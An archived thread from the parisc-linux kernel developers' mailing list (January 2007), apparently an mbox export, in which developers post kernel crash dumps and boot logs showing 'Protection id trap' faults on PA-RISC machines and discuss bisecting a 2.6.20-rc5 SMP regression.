Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EAC5E7D86D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 17:16:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16822-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 17:16:02 -0700 (MST)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.188])
	by free.linux.hp.com (Postfix) with ESMTP id 0F6587D7EF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 17:16:01 -0700 (MST)
Original-Received: by nf-out-0910.google.com with SMTP id p77so2187625nfc
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 16:16:00 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=BCs7T6w3wMzM3qNhouf4VlH6TZFp5r94xTRAQTWJVJ+h70KM4vS6ynRMcG58obJunHK7PeR1e7J1yMP4VmhlFDjqrzvJMp47DiOTofhoxyUS+ej0o71FaTjgnJP64mvgM+zy6IU2swmr0m2D6p5XPH0/CBVXoo7Ur28GUcV8O+s=
Original-Received: by 10.78.17.1 with SMTP id 1mr2189709huq.1168820160640;
	Sun, 14 Jan 2007 16:16:00 -0800 (PST)
Original-Received: by 10.78.202.8 with HTTP; Sun, 14 Jan 2007 16:16:00 -0800 (PST)
In-Reply-To: <7d01f9f00701141608t3af1fab5nd8819dea889cf956@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: 7d9924b69acd4bf0
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /PWMbQzcLi5nE/fRZWtpbtFjZml1ZJjI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24242

On 1/15/07, Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
> I got one of those traps again today trying to boot git head on my rp3440:
>
> Configuring network interfaces...done.
>       _______________________________
>      < Your System ate a SPARC! Gah! >
>       -------------------------------
>              \   ^__^
>               \  (xx)\_______
>                  (__)\       )\/\
>                   U  ||----w |
>                      ||     ||
> sh (pid 625): Protection id trap (code 27)
>
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001001111001100001111 Not tainted
> r00-03  000000ff0804f30f 000000004060a340 0000000000000068 00000000fb199c10
> r04-07  00000000405fd340 000000007eb24190 00000000000ded34 00000000000ded34
> r08-11  0000000000000000 00000000000f2508 0000000000000000 0000000000000008
> r12-15  0000000000000000 0000000000000000 00000000000f1f28 0000000000000001
> r16-19  00000000000dd534 00000000000ad800 00000000000efa18 0000000000000000
> r20-23  0000000000000000 0000000000000803 0000000000000000 000000007eb242b0
> r24-27  0000000000000068 00000000fb199c10 000000000000001f 00000000405fd340
> r28-31  0000000044c4f7c5 000000007eb242a0 000000007eb24480 00000000fb199c10
> sr00-03  00000000002b2800 0000000000000000 00000000002b2800 00000000002b2800
> sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
>
> IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000402e62b0 00000000402e62b4
>  IIR: 0f3692a8    ISR: 00000000002b2800  IOR: 00000000fb199c10
>  CPU:        0   CR30: 000000007eb24000 CR31: 00000000405b4000
>  ORIG_R28: 00000000405fd340
>  IAOQ[0]: pa_memcpy+0x78/0x2b0
>  IAOQ[1]: pa_memcpy+0x7c/0x2b0
>  RP(r2): 0x68
> Backtrace:
>
> /etc/init.d/rc: line 77:   625 Segmentation fault      $@
> Initializing random number generator...done.
> tg3: eth0: Link is up at 1000 Mbps, full duplex.
> tg3: eth0: Flow control is off for TX and off for RX.
>
> That seems to have killed the boot process, I didn't get a login prompt

I don't know if that's related but it seems that 1 out of 2 boot
attempts the kernel doesn't get past the startup of INIT and freezes
there. I don't think this is my 'ldap' bug because this box is
properly configured to avoid it. Something else is happening I
suppose....

HTH

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sshd triggers Protection id trap
Date: Mon, 15 Jan 2007 01:20:05 +0100
Lines: 166
Approved: news@gmane.org
Message-ID: <7d01f9f00701141620r4ca91b5cp242d3728afa0b01c__1927.90453224934$1416624263$gmane$org@mail.gmail.com>
References: <20070109034731.GD1065@athena.road.mcmartin.ca>
	<200701100205.l0A25XjX006906@hiauly1.hia.nrc.ca>
	<20070110222146.GD29244@colo.lackof.org> <45A7D875.9050309@scarlet.be>
	<7d01f9f00701141608t3af1fab5nd8819dea889cf956@mail.gmail.com>
	<7d01f9f00701141616y4e7726w4b7b59af0d270940@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624263 22463 80.91.229.3 (22 Nov 2014 02:44:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:23 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: "Joel Soete" <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jan 2007 00:20:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 15 Jan 2007 01:20:17 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 493A57D8FB;
	Sun, 14 Jan 2007 17:20:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17055-05; Sun, 14 Jan 2007 17:20:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8BBC07D8E8;
	Sun, 14 Jan 2007 17:20:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 674317D8D8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 17:20:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16852-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 17:20:07 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.168])
	by free.linux.hp.com (Postfix) with ESMTP id 5B6157D8CC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 17:20:07 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so1329197ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 16:20:06 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=AUQiKofTnWZSfY4mZemjkpZXzYzNW5MMnljmsq13tNhUouOyEWG+qa0CY+9Jo5HlWWjrcPzvygjWDzxGrDJ4soczCIFgoLbDCYHPZ+MYgbFuyzw807ER8mmys25lvGr8ccBmz5ZG2Gtqaa2YG2kPyoDmArXd2O3d86PyzDgjVbY=
Original-Received: by 10.78.151.3 with SMTP id y3mr2209567hud.1168820405762;
	Sun, 14 Jan 2007 16:20:05 -0800 (PST)
Original-Received: by 10.78.202.8 with HTTP; Sun, 14 Jan 2007 16:20:05 -0800 (PST)
In-Reply-To: <7d01f9f00701141616y4e7726w4b7b59af0d270940@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: 378cf41b70e52133
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iY7ML0ANaHI+XKWnKSUlsdpqamdhZERE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24243

One last crash dump before I give up trying to boot this kernel:

VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: <0>------------[ cut here ]------------
Badness at arch/parisc/kernel/smp.c:353
Backtrace:
 [<000000004014b324>] irq_exit+0x6c/0x78
 [<00000000401150c0>] do_cpu_irq_mask+0x1b8/0x358
 [<000000004017e9e8>] __get_free_pages+0x48/0xc8
 [<0000000040111c38>] flush_data_cache+0x28/0x38
 [<000000004015da98>] flush_workqueue+0xb0/0x108
 [<00000000401109ac>] free_initmem+0x7c/0x318
 [<000000004010347c>] ret_from_kernel_thread+0x24/0x40

272k freed
Write protecting the kernel read-only data: 466k
INIT: version 2.86 booting
      _______________________________
     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
              \  (xx)\_______
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
sh (pid 361): Protection id trap (code 27)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111011000001111 Not tainted
r00-03  000000ff0804f60f 000000004060a340 0000000000000068 00000000fb2efc10
r04-07  00000000405fd340 000000007f320190 00000000000ded34 00000000000ded34
r08-11  00000000000ded34 00000000000ded34 0000000000000000 0000000000000008
r12-15  0000000000000000 0000000000000000 00000000001099e8 0000000000000001
r16-19  00000000000dd534 00000000000ad800 0000000000109c58 0000000000000000
r20-23  0000000000000000 0000000000000803 0000000000000000 000000007f3202b0
r24-27  0000000000000068 00000000fb2efc10 000000000000001f 00000000405fd340
r28-31  0000000044c4f6ed 000000007f3202a0 000000007f320480 00000000fb2efc10
sr00-03  000000000005c800 0000000000000000 000000000005c800 000000000005c800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000402e62b0 00000000402e62b4
 IIR: 0f3692a8    ISR: 000000000005c800  IOR: 00000000fb2efc10
 CPU:        0   CR30: 000000007f320000 CR31: 00000000405b4000
 ORIG_R28: 00000000405fd340
 IAOQ[0]: pa_memcpy+0x78/0x2b0
 IAOQ[1]: pa_memcpy+0x7c/0x2b0
 RP(r2): 0x68
Backtrace:

/etc/init.d/rc: line 77:   361 Segmentation fault      $@
      _______________________________
     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
              \  (xx)\_______
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
sh (pid 378): Protection id trap (code 27)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001111 Not tainted
r00-03  000000ff0804ff0f 00000000405ff340 000000004020a128 000000000010e058
r04-07  00000000405fd340 000000007f2c8190 0000000000000018 0000000000000001
r08-11  0000000000000000 000000007f358280 000000007f72f5c0 000000007f45f400
r12-15  0000000000000000 000000000010e008 000000007f2c8190 00000000405dde60
r16-19  0000000000000000 0000000000000000 00000000000ded34 000000007f2c8000
r20-23  0000000000000001 ffffffffffffffea 00000000001ed1d6 0000000006fd155b
r24-27  0000000000000004 000000007f45a8ee 000000007f2c8190 00000000405fd340
r28-31  ffffffffffffffea 000000007f2c84f0 000000007f2c85c0 000000007f72f5b5
sr00-03  000000000006f000 0000000000000000 0000000000000000 000000000006f000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401bbb24 00000000401bbb28
 IIR: 0c76d2c0    ISR: 000000000006f000  IOR: 000000000010e058
 CPU:        0   CR30: 000000007f2c8000 CR31: 00000000405b4000
 ORIG_R28: 000000007f2c8480
 IAOQ[0]: filldir64+0x18c/0x1b8
 IAOQ[1]: filldir64+0x190/0x1b8
 RP(r2): call_filldir+0x90/0x120
Backtrace:

/etc/init.d/rc: line 77:   378 Segmentation fault      $@
Activating swap:swapon on /dev/sda2
Adding 2000084k swap on /dev/sda2.  Priority:-1 extents:1 across:2000084k
.
Will now check root file system:fsck 1.40-WIP (14-Nov-2006)
[/sbin/fsck.ext3 (1) -- /] fsck.ext3 -a -C0 /dev/sda3
/dev/sda3: clean, 19465/2198880 files, 202145/4393777 blocks
.
EXT3 FS on sda3, internal journal
Setting the system clock again..
Cannot access the Hardware Clock via any known method.
Use the --debug option to see the details of our search for an access method.
System Clock set. Local time: Mon Jan 15 00:22:05 UTC 2007.
Cleaning up ifupdown...



On 1/15/07, Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
> On 1/15/07, Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
> > I got one of those traps again today trying to boot git head on my rp3440:
> >
> > Configuring network interfaces...done.
> >       _______________________________
> >      < Your System ate a SPARC! Gah! >
> >       -------------------------------
> >              \   ^__^
> >               \  (xx)\_______
> >                  (__)\       )\/\
> >                   U  ||----w |
> >                      ||     ||
> > sh (pid 625): Protection id trap (code 27)
> >
> >      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > PSW: 00001000000001001111001100001111 Not tainted
> > r00-03  000000ff0804f30f 000000004060a340 0000000000000068 00000000fb199c10
> > r04-07  00000000405fd340 000000007eb24190 00000000000ded34 00000000000ded34
> > r08-11  0000000000000000 00000000000f2508 0000000000000000 0000000000000008
> > r12-15  0000000000000000 0000000000000000 00000000000f1f28 0000000000000001
> > r16-19  00000000000dd534 00000000000ad800 00000000000efa18 0000000000000000
> > r20-23  0000000000000000 0000000000000803 0000000000000000 000000007eb242b0
> > r24-27  0000000000000068 00000000fb199c10 000000000000001f 00000000405fd340
> > r28-31  0000000044c4f7c5 000000007eb242a0 000000007eb24480 00000000fb199c10
> > sr00-03  00000000002b2800 0000000000000000 00000000002b2800 00000000002b2800
> > sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> >
> > IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000402e62b0 00000000402e62b4
> >  IIR: 0f3692a8    ISR: 00000000002b2800  IOR: 00000000fb199c10
> >  CPU:        0   CR30: 000000007eb24000 CR31: 00000000405b4000
> >  ORIG_R28: 00000000405fd340
> >  IAOQ[0]: pa_memcpy+0x78/0x2b0
> >  IAOQ[1]: pa_memcpy+0x7c/0x2b0
> >  RP(r2): 0x68
> > Backtrace:
> >
> > /etc/init.d/rc: line 77:   625 Segmentation fault      $@
> > Initializing random number generator...done.
> > tg3: eth0: Link is up at 1000 Mbps, full duplex.
> > tg3: eth0: Flow control is off for TX and off for RX.
> >
> > That seems to have killed the boot process, I didn't get a login prompt
>
> I don't know if that's related but it seems that 1 out of 2 boot
> attempts the kernel doesn't get past the startup of INIT and freezes
> there. I don't think this is my 'ldap' bug because this box is
> properly configured to avoid it. Something else is happening I
> suppose....
>
> HTH
>
> --
> Thibaut VARENE
> http://www.parisc-linux.org/~varenet/
>


-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sshd triggers Protection id trap
Date: Sun, 14 Jan 2007 19:36:43 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20070115003643.GD2687__13758.4828109995$1416624263$gmane$org@athena.road.mcmartin.ca>
References: <20070109034731.GD1065@athena.road.mcmartin.ca>
	<200701100205.l0A25XjX006906@hiauly1.hia.nrc.ca>
	<20070110222146.GD29244@colo.lackof.org>
	<45A7D875.9050309@scarlet.be>
	<7d01f9f00701141608t3af1fab5nd8819dea889cf956@mail.gmail.com>
	<7d01f9f00701141616y4e7726w4b7b59af0d270940@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624263 22468 80.91.229.3 (22 Nov 2014 02:44:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:23 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jan 2007 00:36:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx076) with SMTP; 15 Jan 2007 01:36:58 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B3E307D90B;
	Sun, 14 Jan 2007 17:36:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17255-04; Sun, 14 Jan 2007 17:36:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8DCDA7D913;
	Sun, 14 Jan 2007 17:36:53 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41F257D863
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 17:36:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17104-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 17:36:48 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 9AC2E7D849
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 17:36:48 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 0E1FD584095;
	Sun, 14 Jan 2007 19:36:48 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 8FEE858408E;
	Sun, 14 Jan 2007 19:36:47 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 36BF9837DC;
	Sun, 14 Jan 2007 19:36:47 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 053CB3B06E; Sun, 14 Jan 2007 19:36:43 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <7d01f9f00701141616y4e7726w4b7b59af0d270940@mail.gmail.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mbafLUMRZDI4DLHGdWY2ottxemhmY4HS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24244

On Mon, Jan 15, 2007 at 01:16:00AM +0100, Thibaut VARENE wrote:
> 
> I don't know if that's related but it seems that 1 out of 2 boot
> attempts the kernel doesn't get past the startup of INIT and freezes
> there. I don't think this is my 'ldap' bug because this box is
> properly configured to avoid it. Something else is happening I
> suppose....
> 

I'm seeing this too with 2.6.20-rc5 on SMP, I don't see it with -rc4, or when
booting a UP kernel. Will bisect to find what's going on.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sshd triggers Protection id trap
Date: Sun, 14 Jan 2007 20:19:29 -0500 (EST)
Lines: 27
Approved: news@gmane.org
Message-ID: <200701150119.l0F1JTYf003607__49895.4403134578$1416624263$gmane$org@hiauly1.hia.nrc.ca>
References: <20070115003643.GD2687@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624263 22474 80.91.229.3 (22 Nov 2014 02:44:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 T-Bone@parisc-linux.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jan 2007 01:19:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 15 Jan 2007 02:19:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D2A47D928;
	Sun, 14 Jan 2007 18:19:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17431-07; Sun, 14 Jan 2007 18:19:39 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 801797D909;
	Sun, 14 Jan 2007 18:19:36 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B53F17D8FF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 18:19:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17431-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 18:19:31 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 12BB37D8FD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 18:19:31 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l0F1JT7A003609;
	Sun, 14 Jan 2007 20:19:30 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l0F1JTYf003607;
	Sun, 14 Jan 2007 20:19:29 -0500 (EST)
In-Reply-To: <20070115003643.GD2687@athena.road.mcmartin.ca> from "Kyle
	McMartin" at Jan 14, 2007 07:36:43 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: neGYdB1TIyd1EvqQe2drbqNaa2FkZtXM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
